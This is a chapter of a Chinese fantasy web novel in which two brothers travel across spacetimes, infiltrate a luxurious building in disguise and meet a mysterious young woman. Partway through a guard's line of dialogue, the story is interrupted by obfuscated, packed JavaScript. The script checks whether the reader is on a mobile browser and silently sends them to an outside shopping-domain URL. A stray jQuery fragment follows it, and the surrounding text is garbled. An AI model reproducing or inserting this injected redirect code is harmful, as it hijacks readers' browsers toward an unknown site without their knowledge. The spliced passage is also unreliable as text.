瑟莱萨曾把穿梭不同时空之间的旅行比喻为穿越泡泡,泡泡们此起彼伏的挤在一起,或者有重叠,或者只是相贴,或者相隔甚远。进入相邻的时空更容易,距离越远越需要耗费力量。相近的泡泡中发生的变动可能会对她们的时空也有所影响,而更远的泡泡则对她们的时空产生的影响较小。

    奈芙和罗莎面面相觑。

    首先要排除重叠或者相贴的,虽然她们的力量可以在另一个时空也得到更大发挥,但是她们不想被路西法察觉。

    太远的也不行,力量不够,就算去到那里了,也只比普通居民强上一点儿,有事发生时自保或者逃跑都难。

    “距离的带来的另一个问题是,”瑟莱萨津津有味的啃着陆英行做的苹果派——奈芙认为她的味觉肯定完全没救了——含糊不清的建议道,“过大的力量会惊动那个时空的神,可能会造成不必要的麻烦。”

    她摊摊手,露出点无辜神色:“我有一次去到某个时空,那儿有些小神,给我造成了点儿麻烦。”

    事实上,她就是因此受了伤,才遇到时夜。时夜是个很有点原则的家伙,还以为她是个需要帮助的少女,为了她与庞大力量对抗,很是吃了些苦头。瑟莱萨全程一点儿没帮忙也没暴露,眼睁睁旁观他费尽心思保护她,直到后来时夜知道她身世,就已经上了贼船,太迟了。

    时夜那时候知道她能自保的第一句话居然是“太好了,没有我的帮助你也可以嘛”,然后问瑟莱萨愿不愿意考虑和他发展点别的关系。

    “好了好了,”奈芙举起手,“没人关心你的爱情故事......”

    所以她们还得试验出最合适的距离,不会大的一开始就被发现,也不会小的起不到作用。

    “那就先不要自己去。”罗莎提议。

    她看向了奈芙:“我想,携带着你部分的力量,他们是可以自保的?”

    时夜曾经跟着瑟莱萨穿梭时空,他是个有一定力量的混血,瑟莱萨当时年纪小力量弱,只在几个时空遇到点麻烦,倒也都能解决,这么看来,也不是不可以。

    “舍得吗?”罗莎调侃奈芙。

    奈芙的回答是从瑟莱萨嘴里掰下半块苹果派,塞进了罗莎嘴里。

    “伊甸园里的苹果要是闻起来就是这个味儿,”罗莎的脸瞬间皱成一团,简直像用过的纸巾,艰难的评价道,“至今亚当和夏娃还在里头住得好好的呢。”

    “她什么意思?”陆英行狐疑道。

    “说你做的苹果派太好吃了,令人流连忘返呢。”奈芙回答他。

    陆英行骄傲起来,挺起了胸膛,环视室内,颇有点“我就说吧!”的意思。

    应宣怀疑起来,偷偷看一眼淮川。

    淮川轻轻摇了摇头,示意他能糊弄就糊弄过去吧,起码现在陆英行瞧着挺高兴的。

    “那我多给她做点。”陆英行搓搓手,兴高采烈。

    奈芙心想这个主意既然是罗莎提的,那她也该承受点儿报应,于是就从容点头了。

    “行了,”淮川终于问,“到底想说什么,今天耐心这么好?”

    甚至愿意纵容陆英行下厨。

    奈芙于是告诉了他们。

    “事情就是这样,”她说,“虽然罗莎这么说了,但我想听听你们的意见。”

    虽然这么说,她只看着应宣和陆英行。

    应宣略微思忖片刻就点了头。

    “你描摹的蓝图美妙到不可思议,能成为其中的拼图已经是荣幸,我又为什么会不愿意?”他笑起来,“而且,我会获得我的奖赏,我知道。”

    陆英行张了张嘴,想说点表决心的漂亮话,最终还是说:“我也是。”

    “那么,”奈芙也没多说什么,“小行你赶紧下厨,我带你们拜访罗莎去。”

    罗莎看到他们去而复返并不惊讶:“我猜你们就要来......”

    她的话语在看到陆英行手里的篮子的时候,戛然而止。

    “来就来了,”她咬牙切齿的看着奈芙,“还带什么东西啊。”

    “孩子的一片心意,你就收下吧,别客气。”奈芙理直气壮。

    陆英行甚至还创新了,他额外在外面撒了肉桂糖霜,还用巧克力画了笑脸,可惜来的路上化了,看起来苹果派哭得鼻歪眼斜。

    多少形容了罗莎此刻的心情。

    但总之这篮子玩意儿换到了罗莎的祝福。莉莉丝是万魔之母,应宣的魅魔血统根源就在她,她的祝福能让应宣增强力量,而陆英行也得到了帮助,是关于如何更有效率的使用他的光明之力的。

    “关键是火候.....不,是光,”罗莎嚼着焦黑的苹果派——那是陆英行试图制作焦糖色的证据,但是很明显他失败了——努力维持端庄,“利用太阳光能够提高你的效率。”

    奈芙觉得她说了和没说似的,十有八九是记了两篮子苹果派的仇。

    真小气啊,她暗暗对罗莎翻了个白眼。

    你也差不多,罗莎一点不肯吃亏,翻了回来。

    穿越时空的过程像是做了颠倒梦境,瑟莱萨给过几个坐标,在经历过空无一人的荒芜空间、全是野兽的原始大陆和所有生物共享意识的精神集合体时空后,应宣和陆英行再次站在了某处陌生的土地上。

    奈芙和罗莎赠予的力量不仅护佑他们穿梭,还令他们能够明白当地的语言,在听了植物和动物们晦涩的语言后,应宣觉得自己迫切想听到一些人话。

    而现在,他们俩瞧着面前的景象,面面相觑,似乎不敢相信自己的好运。

    鸦青色夜幕下,眼前这座纯白的三层建筑灯火辉煌、笑语晏晏,悬垂的绯色明灯透出浓粉轻红,映照出墙壁上许多神情喜悦的雕塑,而那些雕塑的眼睛在夜幕中熠熠生辉,似乎是以发亮的彩色玻璃又或者轻薄发光的朱贝装饰。

    而他们站在一处很有风情的花园里,黑夜里,那些芬芳馥郁的植物在光影中轻摆,流水淙淙,微光烁烁,似乎有情人躲在此处喁喁细语。

    他们没去过阿德里安的花园,但他们现在都觉得,色欲之主应该会欣赏这里。

    “敬我们的陛下,愿神保佑陛下的冠冕!”他们都听到了建筑里传来的祝酒声。

    很好,应宣轻轻捏拳,看来这里就会是他们的目的地了。

    接下来怎么办?其实他们俩都不知道,但是,先进去看看,也许可以搜集到有用的信息。

    对于如今的他们来说,潜行并不难,因此当兄弟俩出现在柠檬树下你侬我侬的情侣面前时,这对情侣甚至都没来得及哼一声,就被陆英行打晕了。

    “有点紧。”陆英行身材高大,倒霉蛋儿的衣服勒在他胸口和肩膀,他皱着眉扯了扯那闪烁着光晕的洁白布料,幸而它延展性还不错,没有当场裂开。

    而应宣只脱下姑娘的外套,那件飘逸的纱衣在他身上随着夜风摆动。陆英行转开了眼睛,应宣叹口气,干脆把飘逸的布料撕下来做个面纱。既然挡不住什么,就挡脸好了。

    此处有守卫,但是并不森严,他们只是抱着长剑三三两两聊天。

    “等发了俸禄我也来。”有人说。

    “别做梦了,这里不是有钱就能来的地方。”同侪嘲笑道,自己眼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707582|207003||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中也流露出向往。

    “谁!”另一个守卫警觉地喊起来,他感到有什么拂过了他的后颈。

    但是他转过身,手里的剑尖指着黑暗。

    应宣贴在拐角的水渠上,嘴里叼着纱裙,听着守卫向自己走来,紧张的心跳声在耳边放大。

    守卫停下来了。

    “啐。”他吐了口口水。

    地上只落下半片纱,不知是从哪个窗口飘下来的

    而在他头顶,陆英行一手扒着阳台,一手拉着应宣,只要守卫一抬头,就能看到他俩。

    守卫想了想,蹲下来揣进口袋里,毕竟这片纱衣也是能换钱的。

    应宣趁此机会,瞄准了一扇飘荡着窗帘的空屋子,示意陆英行把他扔进去,陆英行意会,身形一荡,应宣趁机钻进窗子里,好在落地就是一张软垫,他得以悄无声息的藏在屋里,而陆英行随即砸在他背后,也进了屋。

    守卫抬头一看,什么也没有,但他得了纱衣,不想张扬,安静离开了。

    应宣这才得以打量屋子,鎏金烛台上半根残烛,水晶杯倒在白玉桌上,绯红酒液蔓延,地上几件丢弃的青萝纱衣,青金石和翡翠镶嵌的金臂钏被抛在附近,小巧头冠垂着细密的珍珠串成的帘儿,倒在一盘红艳艳樱桃里。

    穿一次也是穿,穿两次也是穿,人的界限一旦打破,往下滑就顺畅起来。总之,应宣已经没什么心理障碍了,在陆英行的帮助下把这套精巧华美的衣裳首饰装束起来,期间还因为陆英行手劲儿太大拉断了他头发踩了幼弟三次。

    陆英行每次都一脸无辜,应宣也只好叹息忍耐。

    “今年的祭典你们奉献了什么?”

    “我找到个出众的好东西,神一定会欢喜赐福。”

    “送不送的上去还是个问题……大祭司近年来愈发猜不透……”

    窗户里传来的声音走远了,应宣和陆英行对视一眼,悄悄开门,试图跟着声音的方向而去。门外却满是镜面,几乎像个辉煌的迷宫,他们左拐右拐,看到一道隐藏在暗处的阶梯,只得顺着阶梯继续往上。

    这米诺陶诺斯的迷宫中间住的会是个什么怪物?应宣忍不住暗想,转瞬间却意识到他早已侍奉在恶魔中间,自己也是半个怪物了,不禁一笑,却不小心脚下踩空。

    陆英行拉住他一把,两人站立不稳,倒在一扇半开的门扉前。

    门慢悠悠打开了,而身后已经传来脚步声,他们俩不得不匍匐着进门,轻轻掩上房门。

    这屋子窗户大开,明亮夜色如水,而乳白帷幕如浪涛在夜风中鼓荡。绯紫地毯以金线绣着各色人物故事,应宣和陆英行赤脚走在上头,只觉得柔软温暖。屋内没有燃烧楼下那些香气,只插满了芬芳的绿叶,风里飘着清新香气。

    他们扫视一圈,屋内空无一人,可以放心躲藏。

    应宣脱掉头冠,珠链遮蔽视野,十分麻烦。他随手放在桌上,珠冠碰到桌面某处,发出轻微咯拉声。

    而随即,一扇门从墙上弹开,正对着他们俩,而门内有一名千娇百媚的少女正从凌乱床铺上起身,蓝盈盈双眼正与他们对视。

    应宣大惊!

    那少女却不惊讶,反而浮起满意笑容。

    “好大胆,居然敢穿我的衣衫,”她开口了,声如天籁,“但这件衣服也很衬你,赏给你也不错。”

    她站起来,亚麻色秀发上的金珠闪闪发光。

    “怎么洛耶今晚这么肯这么大方,都不管我了,”她饶有兴致,“还一口气给我送来——两个美人。”

    她朱红指尖勾勾。

    “来。”